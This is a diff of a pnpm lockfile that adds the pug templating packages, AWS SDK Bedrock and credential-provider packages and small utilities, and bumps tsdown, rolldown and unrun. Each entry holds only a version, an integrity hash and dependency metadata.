{integrity: sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==} engines: {node: '>=12.0.0'} - protobufjs@8.0.0: - resolution: {integrity: sha512-jx6+sE9h/UryaCZhsJWbJtTEy47yXoGNYI4z8ZaRncM0zBKeRqjO2JEcOUYwrYGb1WLhXM1FfMzW3annvFv0rw==} - engines: {node: '>=12.0.0'} - proxy-addr@2.0.7: resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} engines: {node: '>= 0.10'} @@ -5243,6 +5681,42 @@ packages: psl@1.15.0: resolution: {integrity: sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==} + pug-attrs@3.0.0: + resolution: {integrity: sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==} + + pug-code-gen@3.0.3: + resolution: {integrity: sha512-cYQg0JW0w32Ux+XTeZnBEeuWrAY7/HNE6TWnhiHGnnRYlCgyAUPoyh9KzCMa9WhcJlJ1AtQqpEYHc+vbCzA+Aw==} + + pug-error@2.1.0: + resolution: {integrity: sha512-lv7sU9e5Jk8IeUheHata6/UThZ7RK2jnaaNztxfPYUY+VxZyk/ePVaNZ/vwmH8WqGvDz3LrNYt/+gA55NDg6Pg==} + + pug-filters@4.0.0: + resolution: {integrity: sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==} + + pug-lexer@5.0.1: + resolution: {integrity: sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==} + + pug-linker@4.0.0: + resolution: {integrity: sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==} + + pug-load@3.0.0: + resolution: {integrity: sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==} + + pug-parser@6.0.0: + resolution: {integrity: sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==} + + pug-runtime@3.0.1: + resolution: {integrity: sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==} + + pug-strip-comments@2.0.0: + resolution: {integrity: sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==} + + pug-walk@2.0.0: + resolution: {integrity: sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==} + + pug@3.0.3: + resolution: {integrity: sha512-uBi6kmc9f3SZ3PXxqcHiUZLmIXgfgWooKWXcwSGwQd2Zi5Rb0bT14+8CJjJgI8AB+nndLaNgHGrcc6bPIB665g==} + pump@3.0.4: resolution: {integrity: sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==} @@ -5275,6 +5749,9 @@ packages: querystringify@2.2.0: resolution: {integrity: sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==} + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + quick-format-unescaped@4.0.4: resolution: {integrity: sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==} @@ -5330,6 +5807,13 @@ packages: regex@6.1.0: resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + repeat-string@1.6.1: + resolution: {integrity: sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==} + engines: {node: '>=0.10'} + + reprism@0.0.11: + resolution: {integrity: sha512-VsxDR5QxZo08M/3nRypNlScw5r3rKeSOPdU/QhDmu3Ai3BJxHn/qgfXGWQp/tAxUtzwYNo9W6997JZR0tPLZsA==} + request-promise-core@1.1.3: resolution: {integrity: sha512-QIs2+ArIGQVp5ZYbWD5ZLCY29D5CfWizP8eWnm8FoGD1TX61veauETVQbrV60662V0oFBkrDOuaBI8XgtuyYAQ==} engines: {node: '>=0.10.0'} @@ -5354,6 +5838,11 @@ packages: resolve-pkg-maps@1.0.0: resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==} + resolve@1.22.11: + resolution: {integrity: sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==} + engines: {node: '>= 0.4'} + hasBin: true + restore-cursor@5.1.0: resolution: {integrity: sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==} engines: {node: '>=18'} @@ -5366,6 +5855,10 @@ packages: resolution: {integrity: sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==} engines: {node: '>= 4'} + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + rimraf@3.0.2: resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} deprecated: Rimraf versions prior to v4 are no longer supported @@ -5375,8 +5868,8 @@ packages: resolution: {integrity: sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ==} hasBin: true - rolldown-plugin-dts@0.22.2: - resolution: {integrity: sha512-Ge+XF962Kobjr0hRPx1neVnLU2jpKkD2zevZTfPKf/0el4eYo9SyGPm0stiHDG2JQuL0Q3HLD0Kn+ST8esvVdA==} + rolldown-plugin-dts@0.22.4: + resolution: {integrity: sha512-pueqTPyN1N6lWYivyDGad+j+GO3DT67pzpct8s8e6KGVIezvnrDjejuw1AXFeyDRas3xTq4Ja6Lj5R5/04C5GQ==} engines: {node: '>=20.19.0'} peerDependencies: '@ts-macro/tsc': ^0.3.6 @@ -5394,8 +5887,8 @@ packages: vue-tsc: optional: true - rolldown@1.0.0-rc.5: - resolution: {integrity: sha512-0AdalTs6hNTioaCYIkAa7+xsmHBfU5hCNclZnM/lp7lGGDuUOb6N4BVNtwiomybbencDjq/waKjTImqiGCs5sw==} + rolldown@1.0.0-rc.7: + resolution: {integrity: sha512-5X0zEeQFzDpB3MqUWQZyO2TUQqP9VnT7CqXHF2laTFRy487+b6QZyotCazOySAuZLAvplCaOVsg1tVn/Zlmwfg==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true @@ -5408,6 +5901,9 @@ packages: resolution: {integrity: sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==} engines: {node: '>= 18'} + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + safe-buffer@5.1.2: resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} @@ -5679,6 +6175,10 @@ packages: resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} engines: {node: '>=12'} + strip-final-newline@2.0.0: + resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==} + engines: {node: '>=6'} + strip-json-comments@2.0.1: resolution: {integrity: sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==} engines: {node: '>=0.10.0'} @@ -5694,6 +6194,10 @@ packages: resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} engines: {node: '>=8'} + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + table-layout@4.1.1: resolution: {integrity: sha512-iK5/YhZxq5GO5z8wb0bY1317uDF3Zjpha0QFFLA8/trAoiLbQD0HUbMesEaxyzUgDxi2QlcbM8IvqOlEjgoXBA==} engines: {node: '>=12.17'} @@ -5737,6 +6241,10 @@ packages: resolution: {integrity: sha512-PSkbLUoxOFRzJYjjxHJt9xro7D+iilgMX/C9lawzVuYiIdcihh9DXmVibBe8lmcFrRi/VzlPjBxbN7rH24q8/Q==} engines: {node: '>=14.0.0'} + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + toad-cache@3.7.0: resolution: {integrity: sha512-/m8M+2BJUpoJdgAHoG+baCwBT+tf2VraSfkBgl0Y00qIWt41DJ8R5B8nsEw0I58YwF5IZH6z24/2TobDKnqSWw==} engines: {node: '>=12'} @@ -5745,6 +6253,9 @@ packages: resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} engines: {node: '>=0.6'} + token-stream@1.0.0: + resolution: {integrity: sha512-VSsyNPPW74RpHwR8Fc21uubwHY7wMDeJLys2IX5zJNih+OnAnaifKHo+1LHT7DAdloQ7apeaaWg8l7qnf/TnEg==} + token-types@6.1.2: resolution: {integrity: sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==} engines: {node: '>=14.16'} @@ -5770,28 +6281,31 @@ packages: ts-algebra@2.0.0: resolution: {integrity: sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==} - tsdown@0.21.0-beta.2: - resolution: {integrity: sha512-OKj8mKf0ws1ucxuEi3mO/OGyfRQxO9MY2D6SoIE/7RZcbojsZSBhJr4xC4MNivMqrQvi3Ke2e+aRZDemPBWPCw==} + tsdown@0.21.0: + resolution: {integrity: sha512-Sw/ehzVhjYLD7HVBPybJHDxpcaeyFjPcaDCME23o9O4fyuEl6ibYEdrnB8W8UchYAGoayKqzWQqx/oIp3jn/Vg==} engines: {node: '>=20.19.0'} hasBin: true peerDependencies: '@arethetypeswrong/core': ^0.18.1 + '@tsdown/css': 0.21.0 + '@tsdown/exe': 0.21.0 '@vitejs/devtools': '*' publint: ^0.3.0 typescript: ^5.0.0 - unplugin-lightningcss: ^0.4.0 unplugin-unused: ^0.5.0 peerDependenciesMeta: '@arethetypeswrong/core': optional: true + '@tsdown/css': + optional: true + '@tsdown/exe': + optional: true '@vitejs/devtools': optional: true publint: optional: true typescript: optional: true - unplugin-lightningcss: - optional: true unplugin-unused: optional: true @@ -5897,8 +6411,8 @@ packages: resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} engines: {node: '>= 0.8'} - unrun@0.2.28: - resolution: {integrity: sha512-LqMrI3ZEUMZ2476aCsbUTfy95CHByqez05nju4AQv4XFPkxh5yai7Di1/Qb0FoELHEEPDWhQi23EJeFyrBV0Og==} + unrun@0.2.30: + resolution: {integrity: sha512-a4W1wDADI0gvDDr14T0ho1FgMhmfjq6M8Iz8q234EnlxgH/9cMHDueUSLwTl1fwSBs5+mHrLFYH+7B8ao36EBA==} engines: {node: '>=20.19.0'} hasBin: true peerDependencies: @@ -6024,6 +6538,10 @@ packages: jsdom: optional: true + void-elements@3.1.0: + resolution: {integrity: sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==} + engines: {node: '>=0.10.0'} + web-streams-polyfill@3.3.3: resolution: {integrity: sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==} engines: {node: '>= 8'} @@ -6055,6 +6573,10 @@ packages: win-guid@0.2.1: resolution: {integrity: sha512-gEIQU4mkgl2OPeoNrWflcJFJ3Ae2BPd4eCsHHA/XikslkIVms/nHhvnvzIZV7VLmBvtFlDOzLt9rrZT+n6D67A==} + with@7.0.2: + resolution: {integrity: sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==} + engines: {node: '>= 10.0.0'} + wordwrapjs@5.1.1: resolution: {integrity: sha512-0yweIbkINJodk27gX9LBGMzyQdBDan3s/dEAiwBOj+Mf0PPyWL6/rikalkv8EeD0E8jm4o5RXEOrFTP3NXbhJg==} engines: {node: '>=12.17'} @@ -6148,6 +6670,10 @@ snapshots: dependencies: zod: 4.3.6 + '@agentclientprotocol/sdk@0.15.0(zod@4.3.6)': + dependencies: + zod: 4.3.6 + '@anthropic-ai/sdk@0.73.0(zod@4.3.6)': dependencies: json-schema-to-ts: 3.1.1 @@ -6180,7 +6706,7 @@ snapshots: '@aws-crypto/sha256-js': 5.2.0 '@aws-crypto/supports-web-crypto': 5.2.0 '@aws-crypto/util': 5.2.0 - '@aws-sdk/types': 3.973.4 + '@aws-sdk/types': 3.973.5 '@aws-sdk/util-locate-window': 3.965.4 '@smithy/util-utf8': 2.3.0 tslib: 2.8.1 @@ -6188,7 +6714,7 @@ snapshots: '@aws-crypto/sha256-js@5.2.0': dependencies: '@aws-crypto/util': 5.2.0 - '@aws-sdk/types': 3.973.4 + '@aws-sdk/types': 3.973.5 tslib: 2.8.1 '@aws-crypto/supports-web-crypto@5.2.0': @@ -6197,7 +6723,7 @@ snapshots: '@aws-crypto/util@5.2.0': dependencies: - '@aws-sdk/types': 3.973.4 + '@aws-sdk/types': 3.973.5 '@smithy/util-utf8': 2.3.0 tslib: 2.8.1 @@ -6298,6 +6824,51 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/client-bedrock@3.1004.0': + dependencies: + '@aws-crypto/sha256-browser': 5.2.0 + '@aws-crypto/sha256-js': 5.2.0 + '@aws-sdk/core': 3.973.18 + '@aws-sdk/credential-provider-node': 3.972.18 + '@aws-sdk/middleware-host-header': 3.972.7 + '@aws-sdk/middleware-logger': 3.972.7 + '@aws-sdk/middleware-recursion-detection': 3.972.7 + '@aws-sdk/middleware-user-agent': 3.972.19 + '@aws-sdk/region-config-resolver': 3.972.7 + '@aws-sdk/token-providers': 3.1004.0 + '@aws-sdk/types': 3.973.5 + '@aws-sdk/util-endpoints': 3.996.4 + '@aws-sdk/util-user-agent-browser': 3.972.7 + '@aws-sdk/util-user-agent-node': 3.973.4 + '@smithy/config-resolver': 4.4.10 + '@smithy/core': 3.23.9 + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/hash-node': 4.2.11 + '@smithy/invalid-dependency': 4.2.11 + '@smithy/middleware-content-length': 4.2.11 + '@smithy/middleware-endpoint': 4.4.23 + '@smithy/middleware-retry': 4.4.40 + '@smithy/middleware-serde': 4.2.12 + '@smithy/middleware-stack': 4.2.11 + '@smithy/node-config-provider': 4.3.11 + '@smithy/node-http-handler': 4.4.14 + '@smithy/protocol-http': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-base64': 4.3.2 + '@smithy/util-body-length-browser': 4.2.2 + '@smithy/util-body-length-node': 4.2.3 + '@smithy/util-defaults-mode-browser': 4.3.39 + '@smithy/util-defaults-mode-node': 4.2.42 + '@smithy/util-endpoints': 3.3.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-retry': 4.2.11 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/client-s3@3.1000.0': dependencies: '@aws-crypto/sha1-browser': 5.2.0 @@ -6374,6 +6945,22 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@aws-sdk/core@3.973.18': + dependencies: + '@aws-sdk/types': 3.973.5 + '@aws-sdk/xml-builder': 3.972.10 + '@smithy/core': 3.23.9 + '@smithy/node-config-provider': 4.3.11 + '@smithy/property-provider': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/signature-v4': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@aws-sdk/crc64-nvme@3.972.3': dependencies: '@smithy/types': 4.13.0 @@ -6387,6 +6974,14 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/credential-provider-env@3.972.16': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/credential-provider-http@3.972.15': dependencies: '@aws-sdk/core': 3.973.15 @@ -6400,6 +6995,19 @@ snapshots: '@smithy/util-stream': 4.5.15 tslib: 2.8.1 + '@aws-sdk/credential-provider-http@3.972.18': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/node-http-handler': 4.4.14 + '@smithy/property-provider': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/util-stream': 4.5.17 + tslib: 2.8.1 + '@aws-sdk/credential-provider-ini@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6419,6 +7027,25 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-ini@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/credential-provider-env': 3.972.16 + '@aws-sdk/credential-provider-http': 3.972.18 + '@aws-sdk/credential-provider-login': 3.972.17 + '@aws-sdk/credential-provider-process': 3.972.16 + '@aws-sdk/credential-provider-sso': 3.972.17 + '@aws-sdk/credential-provider-web-identity': 3.972.17 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/credential-provider-imds': 4.2.11 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-login@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6432,6 +7059,19 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-login@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-node@3.972.14': dependencies: '@aws-sdk/credential-provider-env': 3.972.13 @@ -6449,6 +7089,23 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-node@3.972.18': + dependencies: + '@aws-sdk/credential-provider-env': 3.972.16 + '@aws-sdk/credential-provider-http': 3.972.18 + '@aws-sdk/credential-provider-ini': 3.972.17 + '@aws-sdk/credential-provider-process': 3.972.16 + '@aws-sdk/credential-provider-sso': 3.972.17 + '@aws-sdk/credential-provider-web-identity': 3.972.17 + '@aws-sdk/types': 3.973.5 + '@smithy/credential-provider-imds': 4.2.11 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-process@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6458,6 +7115,15 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/credential-provider-process@3.972.16': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/credential-provider-sso@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6471,6 +7137,19 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-sso@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/token-providers': 3.1004.0 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/credential-provider-web-identity@3.972.13': dependencies: '@aws-sdk/core': 3.973.15 @@ -6483,6 +7162,18 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/credential-provider-web-identity@3.972.17': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/eventstream-handler-node@3.972.9': dependencies: '@aws-sdk/types': 3.973.4 @@ -6538,6 +7229,13 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-host-header@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/middleware-location-constraint@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6550,6 +7248,12 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-logger@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/middleware-recursion-detection@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6558,6 +7262,14 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-recursion-detection@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@aws/lambda-invoke-store': 0.2.3 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/middleware-sdk-s3@3.972.15': dependencies: '@aws-sdk/core': 3.973.15 @@ -6591,6 +7303,17 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/middleware-user-agent@3.972.19': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/types': 3.973.5 + '@aws-sdk/util-endpoints': 3.996.4 + '@smithy/core': 3.23.9 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-retry': 4.2.11 + tslib: 2.8.1 + '@aws-sdk/middleware-websocket@3.972.10': dependencies: '@aws-sdk/types': 3.973.4 @@ -6649,6 +7372,49 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/nested-clients@3.996.7': + dependencies: + '@aws-crypto/sha256-browser': 5.2.0 + '@aws-crypto/sha256-js': 5.2.0 + '@aws-sdk/core': 3.973.18 + '@aws-sdk/middleware-host-header': 3.972.7 + '@aws-sdk/middleware-logger': 3.972.7 + '@aws-sdk/middleware-recursion-detection': 3.972.7 + '@aws-sdk/middleware-user-agent': 3.972.19 + '@aws-sdk/region-config-resolver': 3.972.7 + '@aws-sdk/types': 3.973.5 + '@aws-sdk/util-endpoints': 3.996.4 + '@aws-sdk/util-user-agent-browser': 3.972.7 + '@aws-sdk/util-user-agent-node': 3.973.4 + '@smithy/config-resolver': 4.4.10 + '@smithy/core': 3.23.9 + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/hash-node': 4.2.11 + '@smithy/invalid-dependency': 4.2.11 + '@smithy/middleware-content-length': 4.2.11 + '@smithy/middleware-endpoint': 4.4.23 + '@smithy/middleware-retry': 4.4.40 + '@smithy/middleware-serde': 4.2.12 + '@smithy/middleware-stack': 4.2.11 + '@smithy/node-config-provider': 4.3.11 + '@smithy/node-http-handler': 4.4.14 + '@smithy/protocol-http': 5.3.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-base64': 4.3.2 + '@smithy/util-body-length-browser': 4.2.2 + '@smithy/util-body-length-node': 4.2.3 + '@smithy/util-defaults-mode-browser': 4.3.39 + '@smithy/util-defaults-mode-node': 4.2.42 + '@smithy/util-endpoints': 3.3.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-retry': 4.2.11 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/region-config-resolver@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6657,6 +7423,14 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/region-config-resolver@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/config-resolver': 4.4.10 + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/s3-request-presigner@3.1000.0': dependencies: '@aws-sdk/signature-v4-multi-region': 3.996.3 @@ -6689,6 +7463,18 @@ snapshots: transitivePeerDependencies: - aws-crt + '@aws-sdk/token-providers@3.1004.0': + dependencies: + '@aws-sdk/core': 3.973.18 + '@aws-sdk/nested-clients': 3.996.7 + '@aws-sdk/types': 3.973.5 + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + transitivePeerDependencies: + - aws-crt + '@aws-sdk/token-providers@3.999.0': dependencies: '@aws-sdk/core': 3.973.15 @@ -6706,6 +7492,11 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@aws-sdk/types@3.973.5': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@aws-sdk/util-arn-parser@3.972.2': dependencies: tslib: 2.8.1 @@ -6718,6 +7509,14 @@ snapshots: '@smithy/util-endpoints': 3.3.1 tslib: 2.8.1 + '@aws-sdk/util-endpoints@3.996.4': + dependencies: + '@aws-sdk/types': 3.973.5 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-endpoints': 3.3.2 + tslib: 2.8.1 + '@aws-sdk/util-format-url@3.972.6': dependencies: '@aws-sdk/types': 3.973.4 @@ -6736,6 +7535,13 @@ snapshots: bowser: 2.14.1 tslib: 2.8.1 + '@aws-sdk/util-user-agent-browser@3.972.7': + dependencies: + '@aws-sdk/types': 3.973.5 + 